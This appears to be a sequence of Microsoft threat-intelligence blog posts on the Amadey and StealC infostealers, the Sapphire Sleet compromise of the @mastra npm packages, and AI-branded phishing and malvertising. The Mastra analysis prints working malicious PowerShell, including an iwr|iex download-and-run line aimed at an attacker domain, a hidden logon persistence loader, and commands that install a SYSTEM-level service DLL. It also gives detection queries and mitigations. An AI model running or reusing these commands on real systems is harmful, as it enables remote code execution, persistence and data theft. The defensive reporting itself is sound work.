This body is then RC4-encrypted and hex-encoded and later sent to C2 during the C2 bot registration phase.

The malware continues its infection by querying the system registry for keyboard layouts. The malware specifically checks for the following layout IDs:

• 00000419: Russian
• 00000422: Ukrainian
• 00000423: Belarusian

This sets up an internal flag, which is checked before executing certain commands to skip certain functionalities like credential stealing and clipboard stealing.

C2 communication

The malware communicates with its C2 serverover HTTP. In the first phase, the malware performs a status check by sending “st=s“in an HTTP POST request to C2. The C2 server responds with a sleep multiplier, which is a value to specify how long the malware sleeps between command execution.

In the next phase, the malware performs bot registration by sending the RC4-encrypted victim information to the C2. Once this is complete, the C2 starts sending backdoor commands to the Amadey backdoor. After each backdoor command is executed, the malware sleeps for the specified duration before receiving a new backdoor command. All communications between the malware and its C2 infrastructure are encrypted using RC4, with the encryption key embedded in the malware’s configuration.

The following table lists the backdoor commands that Amadey could process and their descriptions:

Plugins like cred.dll and clip.dll are downloaded from the C2 server at runtime.

In the generic handler used by commands 0x0A, 0x0C, 0x1B, 0x1C, 0x1D, the C2 can specify one of these in the backdoor data for the payload drop location:

Defending against StealC and Amadey intrusions

To defend against attacks from infostealers like StealC and malware families like Amadey, Microsoft recommends the following mitigation measures:

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: Amadey
• Tool profile: StealC
• Tool profile: Lumma Stealer
• Tool profile: Information stealers

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

References

• Amadey Exploiting Self-Hosted GitLab to Distribute StealC Trellix
• HELLCAT Ransomware Group Strikes Again: Four New Victims Breached via Jira Credentials from Infostealer Logs InfoStealers by HudsonRock
• The Infostealer Pipeline How Russian Market Fuels Credential Based Attacks ReliaQuest
• Stealer Logs and Corporate Access Flare

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post StealC and Amadey: Breaking down infostealers and the cybercrime services that deliver them appeared first on Microsoft Security Blog.

June 19, 2026 update: Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet, a North Korean state actor that primarily targets the financial sector. The infrastructure and post-compromise TTPs observed in this campaign are consistent with previously documented Sapphire Sleet activity. Sapphire Sleet also conducted a separate npm supply chain compromise affecting Axios, a popular JavaScript HTTP client, in April 2026.

Microsoft Threat Intelligence observed a large-scale npm supply chain attack affecting 140+ packages across the mastra and @mastra scopes on the npm registry. Microsoft shared its findings with the npm security team, the compromised packages have been removed and the attacker’s publish access to the @mastra scope has been revoked. The compromise originated from the takeover of the ehindero npm maintainer account, which had publish rights across the Mastra ecosystem and was used to publish poisoned package versions that introduced easy-day-js, a malicious typosquat of the popular dayjs library. Microsoft assesses with high confidence that this activity is attributable to Sapphire Sleet.

Once installed, easy-day-js triggered a postinstall hook that executed an obfuscated dropper script, disabled Transport Layer Security (TLS) certificate verification, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and executed the payload as a detached hidden process. The activity followed a coordinated staged delivery pattern, with a clean bait version published first, followed by a weaponized version and rapid publication of the compromised Mastra packages.

Because the payload executes during installation, any developer workstation or continuous integration and continuous delivery (CI/CD) pipeline that ran npm install or npm update after the compromised versions were published was potentially exposed, regardless of whether the package was imported in application code.  This created risk to credentials, tokens, build environments, and downstream software integrity. Microsoft Defender Antivirus, Microsoft Defender for Endpoint, and Microsoft Defender XDR provide detections and hunting coverage for suspicious Node.js execution, malicious package behavior, reflective code loading, persistence activity and command-and-control communication.

Attack chain overview

At a high level, the attack progressed through seven phases:

• Account compromise: The threat actor gained control of the ehindero npm account, a listed maintainer with publish rights across the entire @mastra scope.
• Typosquat creation: The threat actor published easy-day-js, a package impersonating the legitimate dayjs library (57M+ weekly downloads), using a coordinating anonymous email account).
• Mass poisoning: Using the compromised account, the threat actor published new versions of 140+packages across the @mastra scope, each injected with easy-day-js@^1.11.21 as a new dependency. All poisoned versions were tagged as latest.
• Delivery: Developers and CI/CD pipelines running npm install automatically resolved to the compromised versions. The semantic versioning (SemVer) range ^1.11.21 resolved to 1.11.22, the version containing the malicious postinstall hook.
• Execution: The postinstall hook executed an obfuscated 4,572-byte dropper that disabled TLS verification, dropped tracking markers, and contacted the C2 server.
• Second-stage payload: The dropper fetched executable code from the C2 server, wrote it as a randomly named .js file, and spawned it as a fully detached, window-hidden Node.js process.
• Post-compromise tradecraft: On systems where the implant established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established additional persistence, added Defender exclusions, and installed a service-level implant for SYSTEM-context access.

Discovery and initial indicators

Microsoft Threat Intelligence identified the compromise through anomalous publishing patterns on the mastra package. All previous versions of mastra (through v1.13.0) were published through GitHub Actions OpenID Connect (OIDC), the legitimate CI/CD pipeline. Version 1.13.1 was manually published by ehindero using a Tutamail address, an anonymous email service.

The only change between mastra@1.13.0 and mastra@1.13.1 was the addition of easy-day-js@^1.11.21 as a dependency. No corresponding code changes were present in the Mastra GitHub repository. Both the compromised publisher (ehindero2016@tutamail.com) and the typosquat publisher (sergey2016@tutamail.com) used the same anonymous email provider, Tutamail.

Dependency injection: the poisoned package.json

The compromised mastra@1.13.1 package.json reveals the injected dependency alongside the anomalous publisher metadata:

The easy-day-js dependency was not present in any prior versions of mastra npm packages. Its addition, paired with the SemVer range ^1.11.21, ensures that the npm resolves to the weaponized 1.11.22 release.

Typosquat analysis: easy-day-js

The easy-day-js package is a deliberate impersonation of the legitimate dayjs library:

Staged delivery pattern

The typosquat used a two-phase delivery strategy:

• Phase 1 (clean bait): easy-day-js@1.11.21 was published at 07:05 UTC on June 16, 2026. This version contained only legitimate dayjs code with no postinstall hook.
• Phase 2 (weaponization): easy-day-js@1.11.22 was published at 01:01 UTC on June 17, 2026, adding the setup.cjs payload and the postinstall hook. The dayjs.min.js file is byte-identical between both versions, confirming only the dropper was added.

The weaponized package.json in version 1.11.22 exposes the postinstall hook:

Obfuscation and payload analysis

Stage 0: Obfuscated dropper (setup.cjs)

The setup.cjs payload is protected with JavaScript obfuscation using rotated string arrays and a custom base64 decoder function:

The obfuscation technique uses a common pattern: an array of 40 Base64-encoded strings is shuffled at initialization using a numeric seed (0x4c11d), then accessed through a decoder function that performs Base64 decoding with character substitution. This prevents static analysis tools from extracting meaningful strings.

Stage 1: String table decryption

Decoding the rotated string array reveals the payload’s true capabilities:

Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references (node:child_process, node:os), and file system operations (writeFileSync, rmSync).

Stage 2: Deobfuscated payload logic

After resolving all string references and control flow, the full payload logic emerges as a five-step attack sequence:

TLS bypass to self-deletion

Step 1: Disable TLS verification. The payload sets NODE_TLS_REJECT_UNAUTHORIZED to ‘0’, disabling certificate validation for all HTTPS requests in the Node.js process. This enables communication with the C2 server without valid certificates.

Step 2: Drop filesystem markers. Two tracking files are written to the OS temp directory: $TMPDIR/.pkg_history contains the install path of the compromised package, and $TMPDIR/.pkg_logs contains the package name encoded with XOR 0x80:

Step 3: Fetch second-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.

The second-stage payload is a ~41 KB cross-platform Node.js tasking client. Unlike a fire-and-forget stealer, the implant installs sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks returned by the server are dispatched to built-in runners (a Node runner and a Shell runner), and it honors configuration update and exit commands, meaning the operator can push and execute arbitrary follow-on code on the host at any time. On Windows, the payload additionally executes reflective .NET assembly injection for in-memory code execution.

Step 3.A: Windows execution chain. On Windows, the payload performs host reconnaissance and reflective in-memory code execution before establishing persistence.

The payload enumerates all installed applications across three sources—Start Menu entries (Get-StartApps), registry Uninstall keys, and UWP packages (Get-AppxPackage)—to fingerprint the compromised host:

Each enumeration is wrapped in try/catch with silent error handling. The deduplicated results are exfiltrated back to the C2 for victim profiling, enabling the attacker to identify installed security products and high-value targets.

A second PowerShell script receives two C2 endpoint URLs through the SCRIPT_ARGS environment variable. It disables SSL certificate validation and defines an HTTP POST function that Base64-encodes request bodies using a legacy IE8 User-Agent string:

The first C2 request downloads a .NET DLL that is loaded directly into memory via reflection, completely bypassing disk-based detection. The script resolves the Extension.SubRoutine class and invokes its Run2 method with a second downloaded payload, the path to cmd.exe, and the C2 callback address:

This pattern is consistent with process injection, where the payload is injected into a cmd.exe process that communicates back to the C2 over HTTPS (port 443). The entire chain is fileless—no artifacts are written to disk.

Step 3.B: Cross-platform persistence. The implant installs login persistence on all three major operating systems, using a consistent NVM/Node masquerade theme across platforms:

On Windows, the Run key launches a hidden PowerShell process that invokes Node.js:

On Linux, the systemd user unit restarts the implant on failure with a 5-second delay:

All three persistence paths drop the implant as protocal.cjs (a deliberate misspelling) into directories named to mimic legitimate Node.js installations. The value name NvmProtocal, the macOS label com.nvm.protocal, and the Linux unit nvmconf.service are deliberately designed to blend into a developer workstation.

Step 3.C: Collection and exfiltration. The implant performs the following collection before exfiltrating to the C2:

• Cryptocurrency wallet inventory: A hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others) is matched against installed extensions across Chrome, Edge, and Brave profiles.
• Browser history: Each profile’s History SQLite database is copied to a temp directory prefixed with browser-hist- and queried through node:sqlite.
• Host reconnaissance: Gather hostname, architecture, platform, user ID, installed applications, and running processes.

Collected data is exfiltrated using a custom ICAP-style protocol over HTTPS POST (reqmod, PrimaryUrl, SecondaryUrl headers), with hostnames resolved through node:dns and traffic carrying a spoofed legacy IE8 User-Agent string.

Following successful exfiltration, the implant’s shell runner capability enables the operator to pivot from automated collection to interactive hands-on-keyboard access.

Microsoft observed the actor delivering a dedicated PowerShell backdoor from separate C2 infrastructure, representing an escalation to persistent, actor-controlled access on high-value targets. The PowerShell backdoor, tradecraft, and C2 infrastructure have been used by Sapphire Sleet in other, prior campaigns.

Step 3.D: Backdoor delivery. Through the Node.js implant’s shell runner capability, Sapphire Sleet  downloads and executes a PowerShell script from a separate attacker-controlled domain:

powershell -w h -c "iwr -UseBasicParsing https[:]//teams[.]onweblive[.]org/api/update/8555575039/4|iex"

Upon execution, the script immediately performs anti-forensic cleanup by deleting the PowerShell command history file and disabling future history recording:

Remove-Item (Get-PSReadLineOption).HistorySavePath -Force Set-PSReadLineOption -HistorySaveStyle SaveNothing

Step 3.E: Host fingerprinting and C2 registration. The backdoor generates a unique 16-character alphanumeric victim identifier and collects detailed host metadata—username, hostname, OS version, boot time, architecture, admin status, installed antivirus products, installed applications (via registry Uninstall keys and desktop shortcuts), and browser extensions for Chrome, Brave, and Edge. This reconnaissance data is packaged into a JSON info beacon and sent to the C2 via HTTP POST:

$info_pkt = @{     type        = "info"     targetId    = $uid     currentTime = [int64][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()     data = @{ username=$username; hostname=$hostname; timezone=$timezone;              bootTime=$bootTime; os="windows"; version=$version; arch=$arch;              applist=[string[]]$applist; extlist=[string[]]$extlist;              admin=$admin; vaccine=[string[]]$vaccine } }

All network communication uses a spoofed legacy IE8 User-Agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)) and HTTP POST with URL-encoded or JSON bodies. The script enters an infinite polling loop, beaconing every 10 seconds and backing off to 180-second intervals on network failure.

Step 3.F: Persistence and remote code execution. The backdoor establishes a separate persistence mechanism independent of the Node.js implant’s NvmProtocal Run key. It writes a hidden batch file to C:\ProgramData\system.bat and registers it under a deceptive Run key value named MicrosoftUpdate:

$batFile = Join-Path $env:PROGRAMDATA "system.bat" $batCont = 'start /min powershell -w h -c "& ([scriptblock]::Create(' +            '[System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing ' +            "-Uri '$url' -Method POST -Body 'wwps').Content))) '$url'" Set-Content -Path $batFile -Value $batCont -Encoding ASCII Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MicrosoftUpdate" -Value $batFile

This persistence loader re-fetches the backdoor body from the C2 on every logon by POSTing the keyword wwps, enabling the attacker to silently rotate the live payload without touching the endpoint. When the C2 responds with a script command, the backdoor decodes a Base64-encoded PowerShell payload, writes it to a temporary file (%TEMP%\{guid}.ps1), and executes it with -ExecutionPolicy Bypass in a hidden window:

$scpt = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Command.scriptfile)) $tempFile = Join-Path $env:TEMP ("{0}.ps1" -f ([Guid]::NewGuid().ToString("N"))) Set-Content -Path $tempFile -Value $scpt -Encoding UTF8 -Force $cln = @("-NoProfile","-ExecutionPolicy","Bypass","-File",$tempFile) + $uid + $url Start-Process powershell.exe -WindowStyle Hidden -ArgumentList $cln

Step 3.G: Defense evasion and service-level persistence. After establishing interactive access, the operator escalates by adding a Microsoft Defender exclusion for C:\Windows\System32 to suppress detection of dropped tooling, then installs a persistent service that loads a malicious DLL at boot:

sc create scdev binPath= "c:\windows\system32\svchost.exe -k scdev" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\scdev\Parameters /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f

The scdev service runs as a shared svchost.exe process under the SYSTEM context with automatic startup, providing Sapphire Sleet with boot-persistent, elevated access independent of user logon. This represents the final escalation stage—from a supply chain package compromise through automated credential theft to full interactive control with SYSTEM-level persistence.

Timeline analysis

Every package published by the ehindero account contained easy-day-js as an injected dependency. Packages last published by GitHub Actions CI/CD or other legitimate maintainers were not affected.

Attack timeline

** Microsoft Threat Intelligence monitoring observed easy-day-js@1.11.22 at 01:07 UTC and mastra@1.13.1 at 01:28 UTC on June 17, 2026

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Review dependency trees for direct or transitive usage of affected @mastra packages at the compromised versions listed above.
• Check for the presence of easy-day-js in node_modules/ or package-lock.json files across your projects and CI/CD environments.
• Pin known-good package versions where possible. For mastra, version 1.13.0 and earlier are unaffected. For @mastra/core, version 1.42.0 and earlier are unaffected.
• Run npm install with –ignore-scripts to prevent automatic execution of postinstall hooks during dependency installation.
• Check systems for indicators of compromise (IOC) artifacts: Look for $TMPDIR/.pkg_history, $TMPDIR/.pkg_logs, and unexpected .js files in the user’s home or temp directories.
• Rotate any credentials, tokens, or API keys that may have been present on systems where the compromised packages were installed.
• Block the C2 IP addresses 23.254.164[.]92 and 23.254.164[.]123 at the network perimeter.
• Audit CI/CD logs for unexpected outbound connections to the C2 IP addresses or suspicious postinstall script execution.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Advanced hunting

The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply chain compromise.

Detect postinstall execution of setup.cjs

DeviceProcessEvents 
 | where Timestamp > ago(7d) 
 | where FileName in ("node", "node.exe") 
 | where ProcessCommandLine has "setup.cjs" 
     or ProcessCommandLine has "easy-day-js" 
|  where ProcessCommandLine has “--no-warnings” 
 | project Timestamp, DeviceName, AccountName, 
     ProcessCommandLine, FolderPath, InitiatingProcessFileName 
 | sort by Timestamp desc 

Outbound connections to C2 infrastructure

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("23.254.164.92", "23.254.164.123")
| project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Indicators of compromise (IOC)

Network indicators

File indicators

Host indicators

Package indicators

References

Security: mastra@1.13.1 is compromised — malicious postinstall payload via `easy-day-js` dependency · Issue #18046 · mastra-ai/mastra

Microsoft has identified a supply chain attack on the Mastra-AI npm ecosystem, with 80+ packages compromised through npm account takeover. The attacker introduced a phantom dependency into the… | Microsoft Threat Intelligence

This research is provided by Microsoft Defender Security Research, Suriyaraj Natarajan, Sagar Patil, Rajesh Kumar Natarajan, Mahesh Mandava, Arvind Gowda, and with contributions from members of Microsoft Threat Intelligence.

Learn more

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To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

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The post From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet appeared first on Microsoft Security Blog.

As threat actors operationalize AI to accelerate attacks, they are also leveraging the wider global interest around AI itself as a social engineering lure. In recent months, Microsoft Threat Intelligence has observed a growing number of campaigns that impersonate the branding of popular AI platforms such as ChatGPT, Microsoft Copilot, DeepSeek, and Anthropic’s Claude as lures. These campaigns, which don’t represent compromise of services, span phishing, malvertising, and search engine optimization (SEO)-driven attacks that ultimately lead to credential theft, financial fraud, or malware infection.

Threat actors are quick to capitalize on highly anticipated launches or emerging trends, leveraging trusted branding and exploiting user curiosity to improve the success rates of their campaigns. Despite the AI-themed lures, however, these campaigns combine longstanding tactics, such as urgency-driven messaging, abuse of trusted services, and multi-stage redirection chains that require user interaction to evade detection.

While traditional lures like invoices, payment notifications, or delivery alerts remain effective and continue to be widely used, AI-themed lures reflect a shift in social engineering that is likely to persist as a long-term tactic used by threat actors, from cybercriminal groups to nation states. Notably, Microsoft Threat Intelligence has observed the initial access broker Storm-3075 employing AI-themed malvertising to deliver payloads, including malware signed by the malware-signing-as-a-service (MSaaS) offering attributed to the financially motivated threat actor Fox Tempest, on behalf of multiple downstream actors.

This blog details several of the campaigns observed by Microsoft Threat Intelligence in the past few months that used AI brands and references as lures, and provides guidance to help users and organizations detect, mitigate, and respond to these threats. Importantly, Microsoft believes that the activity noted in this blog is purely abuse of AI brand names as lures, not reflecting a compromise of any referenced vendor. As threat actors scale their operations with AI, organizations should leverage AI-powered security capabilities to enhance visibility, automate detection, and accelerate response across email, identity, and endpoint surfaces.

ChatGPT-themed lure leads to phishing kit collecting credit card data

On May 5, 2026, Microsoft detected a ChatGPT-themed phishing attack that delivered malicious URLs leading to phishing pages that collected credit card and personal information such as names and addresses. This phishing activity, which consisted of 4,500 emails sent to targets in South Africa (97%), was part of a broader campaign using similar themes and infrastructure. We also observed this campaign delivering as much as 100,000 emails on a single day to targets in Switzerland, Austria, and South Africa affecting a broad range of industries, including higher education and professional services.

The emails used the sender display name ChatGPT and the subject “To ensure your ChatGPT Plus continues to work – please update your payment method”. The emails posed as an urgent request to update the ChatGPT Plus subscription payment method. They warned the recipient that if a new payment method was not provided within seven days, the account would be downgraded to a free plan. A ChatGPT logo was prominently displayed at the top of the email body.

The phishing email contained a clickable Update payment method button, which did not directly send users to the attacker-controlled site. Instead, users were redirected through a series of legitimate and abused redirector hops. This is a common technique used by threat actors to exploit the reputation of trusted domains and bypass email filters, evade detection, and track victim engagement.

Targets were first directed to grupoconstat[.]bitrix24[.]com[.]br (a legitimate customer relationship management (CRM) service), which redirected to awstrack[.]me (an Amazon domain used for tracking email opens and clicks), which in turn redirected to a Rebrandly URL (a legitimate but often abused URL shortener service). Targets were finally sent to a likely legitimate but compromised domain legendarytrendsbay[.]shop where the threat actor had placed the phishing page in the /ChatGPT/ folder.

The landing page did not immediately display the phishing content. It first required visitors to pass a custom CAPTCHA, which was a simple Update payment button. If they clicked this button, users were sent to the next page where personal information, including first name, last name, and address was collected. The final page then collected the name, credit card number, expiration date, and card verification code.

Claude-themed phishing campaign collected credentials and access tokens

From April 20 to 22, 2026, Microsoft observed a phishing campaign impersonating Anthropic-branded services to target users with account-related lures tied to the Claude AI platform. The campaign sent phishing emails to targets across more than 2,000 organizations, primarily in the United States (62%), the United Kingdom (18%), and India (9%). While this campaign impacted a broad range of industries, it was most notably focused on information technology (56%), other business entities (21%), and financial services (8%).

The campaign used enforcement-themed messaging claiming that the recipient’s account was in violation of acceptable use policies and required immediate action. The emails impersonated Anthropic’s popular AI service Claude using the display names Anthropic Teams and Anthropic PBC, masquerading as legitimate account-related communications. Subject lines followed a consistent structure of “Claude Appeal Request” combined with date elements.

The email body was delivered as HTML and included Anthropic and Claude branding. The message informed recipients that their account was violating “AUP (Account Usage Policy)” and that Anthropic had “initiated an appeal procedure”. The message instructed recipients to review the attached material to access their appeal and indicated that Claude features would be limited pending review.

The email attachment was a PDF named Fill and Sign Claude Appeal Form.pdf, which was designed to resemble an official process tied to Claude account enforcement. The document presented an appeal workflow, prompting users to copy an appeal ID and click the “Claude Appeal” link, which initiated the credential harvesting process.

When clicked, the link embedded in the PDF directed users to an attacker-controlled domain, dash.awaydouble[.]org. The initial landing page displayed a Cloudflare verification prompt, presented as confirming the user was arriving from a “legitimate session”. This step likely served as a gating mechanism to impede automated analysis and sandbox detonation.

Users who completed the verification were redirected to another Claude-themed landing page hosted on servicing.pureplantcravings[.]com. This page was named “Account Appeal Notice” and contained “Account Security & Compliance” message informing users that their account had been flagged for repeated violations of usage policies. The page provided a reference date and a one-time access code, prompting users to copy the code and continue.

Clicking “Continue” redirected users to the final page, which was not available at the time of analysis. Source code revealed conditional redirect logic that routed users to one of two final landing pages, depending on whether the site was accessed through mobile device or a desktop system.

While the final redirect destination was no longer active at the time of analysis, infrastructure overlap, including shared intermediate domains and consistent redirect logic, strongly suggested that users were ultimately presented with a Microsoft sign-in experience. This final stage is consistent with adversary-in-the-middle (AiTM) tactics designed to intercept authentication tokens and facilitate account compromise.

“Awesome AI Windows Plugin” malvertising deploys Vidar stealer

Since at least early 2026, Microsoft Threat Intelligence has observed malvertising campaigns that use AI-themed terms such as “Awesome AI Windows Plugin” and “Flux Pro AI” in social engineering lures in malicious popups, in malware executable names, and GitHub repository and folder names throughout the attack chain. These campaigns are notable for their scale and velocity, moving from launch to mass impact within hours and infecting tens to hundreds of thousands of endpoints. The malware delivered in these campaigns is frequently code-signed, lending an additional layer of perceived trust to both the operating system and the user.

Microsoft attributes this malvertising activity to an initial access broker and malware distributor tracked as Storm-3075. We assess that Storm-3075 delivers final payloads on behalf of multiple downstream actors. While the example campaign described in this section delivered Vidar Stealer, we have also observed this campaign distributing Lumma Stealer, Hijack Loader, and Oyster.

On March 13, 2026, a single campaign run targeted over 66,000 devices. Microsoft has revoked the related signing certificate and GitHub has taken down the associated repository, helping to prevent tens of thousands of additional infections. Given the nature of the attack source, majority of impacted devices were likely consumer rather than enterprise endpoints. Telemetry showed global distribution, with the top affected countries being Japan, South Africa, the United States, and France.

Analysis of the redirection chain determined that the attack likely originated from free movie streaming sites. Infections on such sites typically begin when users interact with embedded movie players or click popups. Malvertising embedded in such sites can redirect users to a range of unwanted content, including malware. In this campaign, users were redirected to a page advertising a download for an “Awesome AI Windows plugin”, a fictitious product name. The plugin purported to help users watch free, high-quality videos, a lure aligned with the context of users already streaming free or pirated content.

Clicking the download button retrieved an executable named ProFluxeFlowAi-win-Setup.exe, which the user then had to manually launch. The file name mimicked a legitimate product with a similar name, Flux Pro AI, which supports text, image, and video creation. This lure reinforced the perceived legitimacy of the executable within the streaming of free movies context. The executable itself was hosted on GitHub in a repository named shippingtechnologymovie under a folder named AI-techVideos, both tailored to the AI video helper narrative.

The malware executable was signed with a fraudulently obtained Microsoft-issued code-signing certificate obtained through Artifact Signing (certificate thumbprint: 4f5c5b3ef45cfff7721754487a86aeff9a2e6e32). Microsoft attributes the signing service used by the threat actor to Fox Tempest, a financially motivated threat actor operating a malware-signing-as-a-service (MSaaS) offering used by other threat actors. Microsoft has revoked over one thousand code signing certificates attributed to Fox Tempest. In May 2026, Microsoft’s Digital Crimes Unit (DCU), in partnership with Resecurity, facilitated a disruption of Fox Tempest infrastructure and access model.   

Signing malware through such a service is expensive; however, for a threat actor targeting tens or hundreds of thousands of infections, the cost can be justified by the additional level of trust signed binaries imply to both the operating system and the user. Signed malware also tends to exhibit lower detection rates early in the infection lifecycle, extending the window of effective distribution.

Another notable feature of the malware is that, immediately after launch, it displays a window with a “Continue” checkmark and does not proceed until the box is clicked. This extra user interaction step is uncommon. We assess that this technique is intended to hide the malicious functionality from sandboxes and automated analysis environments that cannot dynamically perform the click. Until the user clicks “Continue,” the malware performs no suspicious activity on the operating system. This technique is functionally analogous to the CAPTCHAs frequently seen in phishing attacks.

Once the user clicks “Continue”, the executable drops and runs a malicious Python-based downloader. Both the Python interpreter and the downloader script are saved in the \AppData\Local\ folder as pythonw.exe and LICENSE.txt, respectively. The malicious script runs shellcode that loads the next-stage malware from the command-and-control (C2) domain brokeapt[.]com. The final payload observed in this campaign was Vidar infostealer.

Fake DeepSeek V4 installers on GitHub delivered Vidar Stealer

In April 2026, Microsoft identified a social engineering campaignsocial-engineering campaign that leveraged interest in the newly released DeepSeek V4 by impersonating it through a fraudulent GitHub repository and organization. The campaign abused GitHub’s release-asset infrastructure to deliver information-stealing malware such as Vidar stealer. Search engines increased the exposure of the malicious repository, exacerbated by the fact that DeepSeek did not publish an official V4 repository on GitHub.

Our investigation shows the DeepSeek lure is one identity in a broader rotating brand-abuse ecosystem that recycles whichever AI tool is trending into a fresh malware download experience. After discovering this activity, Microsoft shared the details with GitHub, and GitHub has since taken down the malicious organization, repository, and operator account.

On April 24, 2026, within hours of DeepSeek officially previewing its new V4 frontier model, a threat actor initiated the attack chain that can be summarized as:

1. Resource development on GitHub, all within roughly 45 minutes: A new GitHub organization (DeepSeek-V4), a single repository (deepseek-V4), and a release tag (deepseek-V4). The repository was decorated with stolen DeepSeek branding, real benchmark data, and SEO-optimized topics.
2. Search-driven discovery: Users found the repository through GitHub repository search, search engines, social sharing, and AI-assisted search results pointing to the lure page. The repository’s llms.txt and topic taxonomy were designed to be discovered by both classical search engines and large-language-model-powered search; observed top-rank results on search engines are consistent with that design, though we did not observe paid advertising and therefore do not assess this as malvertising.
3. Archive download from GitHub’s release-asset CDN: The release page hosted two archives, deepseek-v4-pro_x64.7z and deepseek-v4-flash_x64.7z.
4. User extraction: Users needed to extract the executable from the archive using common Windows archive tools.
